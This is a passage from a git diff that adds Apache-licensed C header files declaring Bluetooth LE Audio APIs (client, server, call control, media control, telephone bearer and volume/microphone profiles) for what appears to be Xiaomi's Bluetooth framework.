ins - Bluetooth client instance, see @ref bt_instance_t. + * @param cb - Callback function for asynchronous call. + * @param userdata - User context. + * @return bt_status_t - Only return IPC status. + */ +bt_status_t bt_le_scan_is_supported_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata); +#endif // CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_LE_SCAN_H_ */ \ No newline at end of file diff --git a/framework/include/bt_lea.h b/framework/include/bt_lea.h new file mode 100644 index 0000000000000000000000000000000000000000..f08a134f2da2d34122ecfeae85f1c27a8c0ff668 --- /dev/null +++ b/framework/include/bt_lea.h @@ -0,0 +1,31 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LEA__H__ +#define __BT_LEA__H__ + +#include <stddef.h> + +#include "bt_addr.h" +#include "bt_device.h" + +typedef enum { + LEA_AUDIO_STATE_DISCONNECTED, + LEA_AUDIO_STATE_CONNECTING, + LEA_AUDIO_STATE_CONNECTED, + LEA_AUDIO_STATE_DISCONNECTING, +} lea_audio_state_t; + +#endif \ No newline at end of file diff --git a/framework/include/bt_lea_ccp.h b/framework/include/bt_lea_ccp.h new file mode 100644 index 0000000000000000000000000000000000000000..4e1f8c99382cc975e8d82c0973c039bea73b83f7 --- /dev/null +++ b/framework/include/bt_lea_ccp.h @@ -0,0 +1,219 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_LEA_CCP_H__ +#define __BT_LEA_CCP_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_addr.h" +#include "bt_device.h" +#include "lea_audio_common.h" +#include <stddef.h> + +/** + * @brief LE Audio ccp test callback + * + * @param cookie - callback cookie. + * @param addr - address of peer LE Audio device. + */ +typedef void (*lea_ccp_test_callback)(void* cookie, bt_address_t* addr); + +typedef struct +{ + size_t size; + lea_ccp_test_callback test_cb; +} lea_ccp_callbacks_t; + +/** + * @brief Register LE Audio ccp callback functions + * + * @param ins - bluetooth client instance. + * @param callbacks - LE Audio ccp callback functions. + * @return void* - callback cookie. + */ +void* bt_lea_ccp_register_callbacks(bt_instance_t* ins, const lea_ccp_callbacks_t* callbacks); + +/** + * @brief Unregister LE Audio ccp callback functions + * + * @param ins - bluetooth client instance. + * @param cookie - callback cookie. + * @return true - on unregister success. + * @return false - on callback cookie not found. + */ +bool bt_lea_ccp_unregister_callbacks(bt_instance_t* ins, void* cookie); + +/** + * @brief Read bearer provider name of a remote TBS. Value is returned by + * #lea_tbc_bearer_provider_name_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_bearer_provider_name(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read bearer uci of a remote TBS. Value is returned by + * #lea_tbc_bearer_uci_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_bearer_uci(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read bearer technology of a remote TBS. Value is returned by + * #lea_tbc_bearer_technology_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_bearer_technology(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read bearer uri schemes supported list of a remote TBS. Value is returned by + * #lea_tbc_bearer_uri_schemes_supported_list_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_bearer_uri_schemes_supported_list(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read bearer signal strength of a remote TBS. Value is returned by + * #lea_tbc_bearer_signal_strength_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_bearer_signal_strength(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read bearer signal strength report interval of a remote TBS. Value is returned by + * #lea_tbc_bearer_signal_strength_report_interval_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_bearer_signal_strength_report_interval(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read content control id of a remote TBS. Value is returned by + * #lea_tbc_content_control_id_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_content_control_id(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read status flags of a remote TBS. Value is returned by + * #lea_tbc_status_flags_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_status_flags(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read call control optional opcodes of a remote TBS. Value is returned by + * #lea_tbc_call_control_optional_opcodes_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_call_control_optional_opcodes(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read incoming call of a remote TBS. Value is returned by + * #lea_tbc_incoming_call_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_incoming_call(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read incoming call target bearer uri of a remote TBS. Value is returned by + * #lea_tbc_incoming_call_target_bearer_uri_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_incoming_call_target_bearer_uri(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read call state of a remote TBS. Value is returned by + * #lea_tbc_call_state_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_call_state(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read bearer list current calls of a remote TBS. Value is returned by + * #lea_tbc_bearer_list_current_calls_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_bearer_list_current_calls(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Read call friendly name of a remote TBS. Value is returned by + * #lea_tbc_call_friendly_name_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_read_call_friendly_name(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Write an opcode with call index to the call control point of a remote + * TBS. Response is returned by #lea_tbc_call_control_result_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_call_control_by_index(bt_instance_t* ins, bt_address_t* addr, uint8_t opcode); + +/** + * @brief Write Originate opcode to the call control point of a remote TBS. + * Response is returned by #lea_tbc_call_control_result_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_originate_call(bt_instance_t* ins, bt_address_t* addr, uint8_t* uri); + +/** + * @brief Write Join opcode to the call control point of a remote TBS. + * Response is returned by #lea_tbc_call_control_result_callback. + * @param ins - bluetooth client instance. + * @param addr - Address of the remote server. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_ccp_join_calls(bt_instance_t* ins, bt_address_t* addr, uint8_t number, uint8_t* call_indexes); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_LEA_CCP_H__ */ diff --git a/framework/include/bt_lea_client.h b/framework/include/bt_lea_client.h new file mode 100644 index 0000000000000000000000000000000000000000..115e5ac2483356b2914944a21e931ded04889c72 --- /dev/null +++ b/framework/include/bt_lea_client.h @@ -0,0 +1,91 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LEA_CLIENT_H__ +#define __BT_LEA_CLIENT_H__ + +#include <stddef.h> + +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_lea.h" + +typedef enum { + LEA_CLIENT_STATE_DISABLED = 0, + LEA_CLIENT_STATE_ENABLED = 1, +} lea_client_stack_state_t; + +typedef enum { + LEA_CSIP_LOCK_SUCCESS, + LEA_CSIP_LOCK_ORDERED_ACCESS_LOCKED, + LEA_CSIP_LOCK_COORDINATED_SET_NOT_FOUND, + LEA_CSIP_LOCK_LOCK_DENIED, + LEA_CSIP_LOCK_UNLOCK_NOT_ALLOWED, + LEA_CSIP_LOCK_LOCK_NOT_EXIST, +} lea_csip_lock_status; + +typedef void (*lea_client_stack_state_callback)(void* cookie, lea_client_stack_state_t enabled); + +typedef void (*lea_client_connection_state_callback)(void* cookie, profile_connection_state_t state, + bt_address_t* bd_addr); +typedef void (*lea_client_audio_state_callback)(void* cookie, lea_audio_state_t state, + bt_address_t* bd_addr); + +typedef void (*lea_client_group_member_discovered_callback)(void* cookie, uint32_t group_id, bt_address_t* bd_addr); + +typedef void (*lea_client_group_member_added_callback)(void* cookie, uint32_t group_id, bt_address_t* bd_addr); + +typedef void (*lea_client_group_member_removed_callback)(void* cookie, uint32_t group_id, bt_address_t* bd_addr); + +typedef void (*lea_client_group_discovery_start_callback)(void* cookie, uint32_t group_id); + +typedef void (*lea_client_group_discovery_stop_callback)(void* cookie, uint32_t group_id); + +typedef void (*lea_client_group_lock_callback)(void* cookie, uint32_t group_id, lea_csip_lock_status result); + +typedef void (*lea_client_group_unlock_callback)(void* cookie, uint32_t group_id, lea_csip_lock_status result); + +typedef struct { + size_t size; + lea_client_stack_state_callback client_stack_state_cb; + lea_client_connection_state_callback client_connection_state_cb; + lea_client_audio_state_callback client_audio_state_cb; + lea_client_group_member_discovered_callback client_group_member_discovered_cb; + lea_client_group_member_added_callback client_group_member_added_cb; + lea_client_group_member_removed_callback client_group_member_removed_cb; + lea_client_group_discovery_start_callback client_group_discovery_start_cb; + lea_client_group_discovery_stop_callback client_group_discovery_stop_cb; + lea_client_group_lock_callback client_group_lock_cb; + lea_client_group_unlock_callback client_group_unlock_cb; +} lea_client_callbacks_t; + +void* bt_lea_client_register_callbacks(bt_instance_t* ins, const lea_client_callbacks_t* callbacks); +bool bt_lea_client_unregister_callbacks(bt_instance_t* ins, void* cookie); + +bt_status_t bt_lea_client_connect(bt_instance_t* ins, bt_address_t* addr); +bt_status_t bt_lea_client_connect_audio(bt_instance_t* ins, bt_address_t* addr, uint8_t context); +bt_status_t bt_lea_client_disconnect(bt_instance_t* ins, bt_address_t* addr); +bt_status_t bt_lea_client_disconnect_audio(bt_instance_t* ins, bt_address_t* addr); +profile_connection_state_t bt_lea_client_get_connection_state(bt_instance_t* ins, bt_address_t* addr); +bt_status_t bt_lea_client_get_group_id(bt_instance_t* ins, bt_address_t* addr, uint32_t* group_id); +bt_status_t bt_lea_client_discovery_member_start(bt_instance_t* ins, uint32_t group_id); +bt_status_t bt_lea_client_discovery_member_stop(bt_instance_t* ins, uint32_t group_id); +bt_status_t bt_lea_client_group_add_member(bt_instance_t* ins, uint32_t group_id, bt_address_t* addr); +bt_status_t bt_lea_client_group_remove_member(bt_instance_t* ins, uint32_t group_id, bt_address_t* addr); +bt_status_t bt_lea_client_group_connect_audio(bt_instance_t* ins, uint32_t group_id, uint8_t context); +bt_status_t bt_lea_client_group_disconnect_audio(bt_instance_t* ins, uint32_t group_id); +bt_status_t bt_lea_client_group_lock(bt_instance_t* ins, uint32_t group_id); +bt_status_t bt_lea_client_group_unlock(bt_instance_t* ins, uint32_t group_id); +#endif \ No newline at end of file diff --git a/framework/include/bt_lea_mcp.h b/framework/include/bt_lea_mcp.h new file mode 100644 index 0000000000000000000000000000000000000000..390ce195e3ba3d861e90051f8c96b77c18b26bad --- /dev/null +++ b/framework/include/bt_lea_mcp.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LEA_MCP_H__ +#define __BT_LEA_MCP_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_addr.h" +#include "bt_device.h" +#include <stddef.h> + +#define OBJ_ID_SIZE 6 + +typedef uint8_t lea_mcp_object_id[OBJ_ID_SIZE]; + +typedef void (*lea_mcp_test_callback)(void* cookie, bt_address_t* addr, uint8_t event); + +typedef struct +{ + size_t size; + lea_mcp_test_callback test_cb; +} lea_mcp_callbacks_t; + +void* bt_lea_mcp_register_callbacks(bt_instance_t* ins, const lea_mcp_callbacks_t* callbacks); +bool bt_lea_mcp_unregister_callbacks(bt_instance_t* ins, void* cookie); +bt_status_t bt_lea_mcp_read_info(bt_instance_t* ins, bt_address_t* addr, uint8_t opcode); +bt_status_t bt_lea_mcp_media_control_request(bt_instance_t* ins, bt_address_t* addr, + uint32_t opcode, int32_t n); +bt_status_t bt_lea_mcp_search_control_request(bt_instance_t* ins, bt_address_t* addr, uint8_t number, + uint32_t type, uint8_t* parameter); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_LEA_MCP_H__ */ diff --git a/framework/include/bt_lea_mcs.h b/framework/include/bt_lea_mcs.h new file mode 100644 index 0000000000000000000000000000000000000000..7392bed14530e63bf1aed02db35ae9a4ba9e8418 --- /dev/null +++ b/framework/include/bt_lea_mcs.h @@ -0,0 +1,112 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_LEA_MCS_H__ +#define __BT_LEA_MCS_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_addr.h" +#include "bt_device.h" +#include "lea_audio_common.h" +#include <stddef.h> + +#define OBJ_ID_SIZE 6 + +typedef uint8_t lea_object_id[OBJ_ID_SIZE]; + +typedef enum { + ADPT_LEA_MCS_MEDIA_STATE_INACTIVE, + ADPT_LEA_MCS_MEDIA_STATE_PLAYING, + ADPT_LEA_MCS_MEDIA_STATE_PAUSED, + ADPT_LEA_MCS_MEDIA_STATE_SEEKING, + ADPT_LEA_MCS_MEDIA_STATE_LAST, +} lea_adpt_mcs_media_state_t; + +typedef enum { + ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS = 1, + ADPT_LEA_MCS_MEDIA_CONTROL_NOT_SUPPORTED, + ADPT_LEA_MCS_MEDIA_CONTROL_PLAYER_INACTIVE, + ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED, +} lea_adpt_mcs_media_control_result_t; + +/** @brief Possible MCS object types. */ +typedef enum { + ADPT_LEA_MCS_OBJECT_TRACK, /**< Track object type. */ + ADPT_LEA_MCS_OBJECT_GROUP, /**< Group object type. */ +} lea_adpt_mcs_object_type_t; + +typedef struct { + uint16_t length; /**< Length of the string, not including the ending 0. */ + char* string; /**< UTF-8 string, terminated by 0. Its life cycle shall not be shorter than its container. It may be recycled when its container is recycled. */ +} lea_utf8_str_t; + +/** @brief Date time structure. */ +typedef struct { + uint16_t year; /**< 1582 to 9999, 0 is unknown, all others are RFU */ + uint8_t month; /**< 1 to 12, 0 as unknown, all others are RFU */ + uint8_t day; /**< 1 to 31, 0 as unknown, all others are RFU */ + uint8_t hours; /**< 0 to 23, All others are RFU */ + uint8_t minutes; /**< 0 to 59, All others are RFU */ + uint8_t seconds; /**< 0 to 59, All others are RFU */ +} lea_date_time_t; + +/** @brief Media Object information. */ +typedef struct { + uint32_t mcs_id; /**< ID of the MCS instance the media player attached to. */ + void* obj_ref; /**< Application specified object identity. */ + uint8_t* name; /**< Initial Object Name, e.g. group name or track title. Zero terminated UTF-8 string. */ + uint32_t size; /**< Size of the object */ + uint8_t type; /**< Type of the object, one of #SERVICE_LEA_MCS_OBJECT_TYPE. */ + lea_date_time_t + first_created; /**< The date and time when the object is first created. Set to all 0s if unknown. */ + lea_date_time_t + last_modified; /**< The date and time when the object content is last modified. Set to all 0s if unknown. */ +} lea_media_object_t; + +typedef void (*lea_mcs_server_state_callback)(void* cookie, uint8_t event); + +typedef struct +{ + size_t size; + lea_mcs_server_state_callback mcs_state_cb; +} lea_mcs_callbacks_t; + +void* bt_lea_mcs_register_callbacks(bt_instance_t* ins, const lea_mcs_callbacks_t* callbacks); +bool bt_lea_mcs_unregister_callbacks(bt_instance_t* ins, void* cookie); +bt_status_t bt_lea_mcs_service_add(bt_instance_t* ins); +bt_status_t bt_lea_mcs_service_remove(bt_instance_t* ins); +bt_status_t bt_lea_mcs_playing_order_changed(bt_instance_t* ins, uint8_t order); +bt_status_t bt_lea_mcs_media_state_changed(bt_instance_t* ins, uint8_t state); +bt_status_t bt_lea_mcs_playback_speed_changed(bt_instance_t* ins, int8_t speed); +bt_status_t bt_lea_mcs_seeking_speed_changed(bt_instance_t* ins, int8_t speed); +bt_status_t bt_lea_mcs_track_title_changed(void* handl, uint8_t* title); +bt_status_t bt_lea_mcs_track_duration_changed(bt_instance_t* ins, int32_t duration); +bt_status_t bt_lea_mcs_track_position_changed(bt_instance_t* ins, int32_t position); +bt_status_t bt_lea_mcs_current_track_change(bt_instance_t* ins, lea_object_id track_id); +bt_status_t bt_lea_mcs_next_track_changed(bt_instance_t* ins, lea_object_id track_id); +bt_status_t bt_lea_mcs_current_group_changed(bt_instance_t* ins, lea_object_id group_id); +bt_status_t bt_lea_mcs_parent_group_changed(bt_instance_t* ins, lea_object_id group_id); +bt_status_t bt_lea_mcs_set_media_player_info(bt_instance_t* ins); +bt_status_t bt_lea_mcs_media_control_point_response(bt_instance_t* ins, lea_adpt_mcs_media_control_result_t result); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_LEA_MCS_H__ */ \ No newline at end of file diff --git a/framework/include/bt_lea_server.h b/framework/include/bt_lea_server.h new file mode 100644 index 0000000000000000000000000000000000000000..7f01eff59aa105f153adc0534ed4759a7b7f2385 --- /dev/null +++ b/framework/include/bt_lea_server.h @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LEA_SERVER_H__ +#define __BT_LEA_SERVER_H__ + +#include <stddef.h> + +#include "bt_addr.h" +#include "bt_device.h" + +typedef enum { + LEA_SERVER_STATE_DISABLED = 0, + LEA_SERVER_STATE_ENABLED = 1, +} lea_server_stack_state_t; + +typedef void (*lea_server_stack_state_callback)(void* cookie, + lea_server_stack_state_t enabled); + +typedef void (*lea_server_connection_state_callback)(void* cookie, + profile_connection_state_t state, bt_address_t* bd_addr); + +typedef struct { + size_t size; + lea_server_stack_state_callback server_stack_state_cb; + lea_server_connection_state_callback server_connection_state_cb; +} lea_server_callbacks_t; + +void* bt_lea_server_register_callbacks(bt_instance_t* ins, + const lea_server_callbacks_t* callbacks); + +bool bt_lea_server_unregister_callbacks(bt_instance_t* ins, void* cookie); + +bt_status_t bt_lea_server_start_announce(bt_instance_t* ins, uint8_t adv_id, + uint8_t announce_type, uint8_t* adv_data, uint16_t adv_size, + uint8_t* md_data, uint16_t md_size); + +bt_status_t bt_lea_server_stop_announce(bt_instance_t* ins, uint8_t adv_id); + +bt_status_t bt_lea_server_disconnect(bt_instance_t* ins, bt_address_t* addr); + +profile_connection_state_t bt_lea_server_get_connection_state(bt_instance_t* ins, bt_address_t* addr); + +bt_status_t bt_lea_server_disconnect_audio(bt_instance_t* ins, bt_address_t* addr); + +#endif \ No newline at end of file diff --git a/framework/include/bt_lea_tbs.h b/framework/include/bt_lea_tbs.h new file mode 100644 index 0000000000000000000000000000000000000000..a26751a2e1dc8560e6fa7402b56b0383a0b1031f --- /dev/null +++ b/framework/include/bt_lea_tbs.h @@ -0,0 +1,172 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_LEA_TBS_H__ +#define __BT_LEA_TBS_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_addr.h" +#include "bt_device.h" +#include "lea_audio_common.h" +#include <stddef.h> + +typedef void (*lea_tbs_test_callback)(void* cookie, uint8_t value, bool added); + +typedef struct +{ + size_t size; + lea_tbs_test_callback tbs_test_cb; +} lea_tbs_callbacks_t; + +/** + * @brief Register tbs server callback functions + * + * @param ins - bluetooth server instance. + * @param callbacks - ccp server callback functions. + * @return void* - callback cookie. + */ +void* bt_lea_tbs_register_callbacks(bt_instance_t* ins, const lea_tbs_callbacks_t* callbacks); + +/** + * @brief Unregister tbs server callback functions + * + * @param ins - bluetooth server instance. + * @param cookie - callback cookie. + * @return true - on unregister success. + * @return false - on callback cookie not found. + */ +bool bt_lea_tbs_unregister_callbacks(bt_instance_t* ins, void* cookie); + +/** + * @brief TBS instance add. Value is returned by + * #lea_tbs_state_callback. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_service_add(bt_instance_t* ins); + +/** + * @brief TBS instance remove. Value is returned by + * #lea_tbs_state_callback. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_service_remove(bt_instance_t* ins); + +/** + * @brief TBS set telephone bearer information. Value is returned by + * #lea_tbs_bearer_set_callback. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_set_telephone_bearer_info(bt_instance_t* ins, lea_tbs_telephone_bearer_t* bearer); + +/** + * @brief TBS add a new call state member. Value is returned by + * #lea_tbs_call_added_callback. + * @param[in] call_s Call information. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_add_call(bt_instance_t* ins, lea_tbs_calls_t* call_s); + +/** + * @brief TBS remove a call when it is terminated by either side. Value is returned by + * #lea_tbs_call_removed_callback. + * @param[in] call_index Index of the call to remove, 1 to 255. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_remove_call(bt_instance_t* ins, uint8_t call_index); + +/** + * @brief Provider name is changed. + * @param[in] name The new provider name, zero terminated UTF-8 string. Set to NULL if + * not available. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_provider_name_changed(bt_instance_t* ins, uint8_t* name); + +/** + * @brief Bearer technology is changed. + * @param[in] technology The new Bearer technology. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_bearer_technology_changed(bt_instance_t* ins, lea_adpt_bearer_technology_t technology); + +/** + * @brief Bearer URI schemes supported list is changed. + * @param[in] uri_schemes The updated list of Bearer URI schemes supported. + * Zero terminated UTF-8 string. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_uri_schemes_supported_list_changed(bt_instance_t* ins, uint8_t* uri_schemes); + +/** + * @brief Signal strength is changed. + * @param[in] strength Current bearer signal strength, 0 indicates no service; + * 1 to 100 indicates the valid signal strength. 255 indicates that signal + * strength is unavailable or has no meaning for this bearer. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_rssi_value_changed(bt_instance_t* ins, uint8_t strength); + +/** + * @brief Signal strength reporting interval is changed. + * @param[in] interval The updated reporting interval in seconds, 0 to 255. + * 0 indicates that reporting signal strength only when it is changed. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_rssi_interval_changed(bt_instance_t* ins, uint8_t interval); + +/** + * @brief Status flags is changed. + * @param[in] status_flags The new status flags. Bits of #SERVICE_LEA_TBS_STATUS_FLAGS. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_status_flags_changed(bt_instance_t* ins, uint16_t status_flags); + +/** + * @brief Call state is changed locally or by remote action request. + * @param[in] number Number of call states in state_s. At least 1. + * @param[in] state_s List of call states of calls that are changed. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_call_state_changed(bt_instance_t* ins, uint8_t number, lea_tbs_call_state_t* state_s); + +/** + * @brief Notify the clients that a call is terminated. + * @param[in] call_index Index of the call terminated. + * @param[in] reason Termination reason code, one of + * #SERVICE_LEA_TBS_TERMINATION_REASON. Other extended reason may also be set. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_notify_termination_reason(bt_instance_t* ins, uint8_t call_index, lea_adpt_termination_reason_t reason); + +/** + * @brief Call control response. + * @param[in] call_index Call index. Set to 0 if result is not success. Set to + * the Call Index value assigned to the new call for the Originate operation. + * Set to the first Call index in the provided Call Indexes list for the Join + * operation. Set to the provided Call Index for the other operations + * @param[in] result Result of the control operation. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t bt_lea_tbs_call_control_response(bt_instance_t* ins, uint8_t call_index, lea_adpt_call_control_result_t result); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_LEA_TBS_H__ */ \ No newline at end of file diff --git a/framework/include/bt_lea_vmicp.h b/framework/include/bt_lea_vmicp.h new file mode 100644 index 0000000000000000000000000000000000000000..e554df7e47056eed162e598b6d06d52311a7f463 --- /dev/null +++ b/framework/include/bt_lea_vmicp.h @@ -0,0 +1,136 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LEA_VMICP_H__ +#define __BT_LEA_VMICP_H__ + +#include <stddef.h> + +#include "bt_device.h" + +/** + * @brief LE Audio vmicp test callback + * + * @param cookie - callback cookie. + */ +typedef void 